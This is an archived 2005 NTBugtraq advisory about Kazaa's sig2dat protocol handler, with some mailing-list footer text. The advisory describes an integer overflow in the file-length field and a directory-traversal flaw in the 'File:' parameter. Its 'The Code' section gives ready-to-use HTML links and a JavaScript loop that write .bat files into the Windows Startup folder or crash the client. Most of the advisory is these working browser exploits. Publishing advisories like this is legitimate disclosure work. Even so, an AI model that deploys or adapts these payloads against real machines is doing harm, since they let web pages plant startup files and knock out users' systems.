Kazaa Sig2Dat Protocol Remote Integer Overflow and Denial Of Service by creating files in arbitrary locations

From: Rafel Ivgi, The-Insider (theinsider_at_012.NET.IL)
Date: 01/17/05

  • Next message: Anthony Zboralski: "BCS 2005 Asia - Final Speakers list and Call for Posters" 
    Date:         Mon, 17 Jan 2005 22:40:47 +0200
To: NTBUGTRAQ@LISTSERV.NTBUGTRAQ.COM

    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    Application: Kazaa
    Vendors: http://www.kazaa.com
    Versions: kazaa lite k++(probably all others too...)
    Platforms: Windows
    Bug: Sig2Dat Protocol Remote Integer Overflow and
                         Denial Of Service by creating files in arbitrary
    locations
    Exploitation: Remote With Browser
    Date: 17 Jan 2005
    Author: Rafel Ivgi, The-Insider
    E-Mail: the_insider@mail.com
    Website: http://theinsider.deep-ice.com

    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    1) Introduction
    2) Bugs
    3) The Code

    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    ===============
    1) Introduction
    ===============

    Kazaa is currently the world’s most common P2P file sharing application.
    When installing Kazaa a new protocol is installed named “sig2dat”.
    This protocol contain an integer overflow vulnerability which may cause
    a crash and may allow remote execution of code. There is another
    vulnerability in the “File:” parameter which allows creating files in
    arbitrary locations and committing Denial Of Service.

    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    ======
    2) Bug
    ======

    The sig2dat protocol syntax:
    Sig2dat://<filename>%7c<file length in bytes>< file length in
    kilobytes>%7c<HASH>%7c

    The vulnerable parameter is the file “Length” (in bytes). Specifying a
    numeric value bigger than a 999999999.

    Successful exploiting of this vulnerability may allow remote code execution.

    There is another vulnerability in the “File:” parameter. It allows creation
    of files in arbitrary locations within the same partition as the shared
    folder,
    using the classic directory transversal technique “../”.

    For Example:
    <A HREF="sig2dat://%7CFile:../../../../../../Docume~1/All Users/Start Menu/
    Programs/Startup/cool.bat%7CLength:373236528%20Bytes,364489KB%7CUUHash:=DEf
    m3HmvILkNcbY7j5NGa%2BD11CQ=%7C/">CLICK HERE</A>

    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    ===========
    3) The Code
    ===========

    1) <A HREF="sig2dat://%7CFile:dev-catz5%28.bin%7CLength:99999999999999999999
    9999999%20Bytes,364489KB%7CUUHash:=DEfm3HmvILkNcbY7j5NGa%2BD11CQ=%7C/">CLICK
    HERE</A>
    *********************************************************************
    2) <A HREF="sig2dat://%7CFile:../../../../../../Docume~1/All Users/Start
    Menu
    /Programs/Startup/cool.bat%7CLength:373236528%20Bytes,364489KB%7CUUHash:=DEf
    m
    3HmvILkNcbY7j5NGa%2BD11CQ=%7C/">CLICK HERE</A>
    *********************************************************************
    3) <script>
    var i
    for (i=1;i<10000;i++)
    {
    mylocation="<iframe src='sig2dat://%7CFile:../../../../../../Docume~1/All
    Users
    /Start
    Menu/Programs/Startup/cool"+i+".bat%7CLength:373236528%20Bytes,364489KB%
    7CUUHash:=DEfm3HmvILkNcbY7j5NGa%2BD11CQ=%7C/'></iframe>";
    document.write(mylocation);
    }
    </script>

    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 

    ---
Rafel Ivgi, The-Insider
http://theinsider.deep-ice.com
"Scripts and Codes will make me D.O.S , but they will never HACK me."
--
NTBugtraq Editor's Note:
Most viruses these days use spoofed email addresses. As such, using an Anti-Virus product which automatically notifies the perceived sender of a message it believes is infected may well cause more harm than good. Someone who did not actually send you a virus may receive the notification and scramble their support staff to find an infection which never existed in the first place. Suggest such notifications be disabled by whomever is responsible for your AV, or at least that the idea is considered.
--
  • Next message: Anthony Zboralski: "BCS 2005 Asia - Final Speakers list and Call for Posters"

    Relevant Pages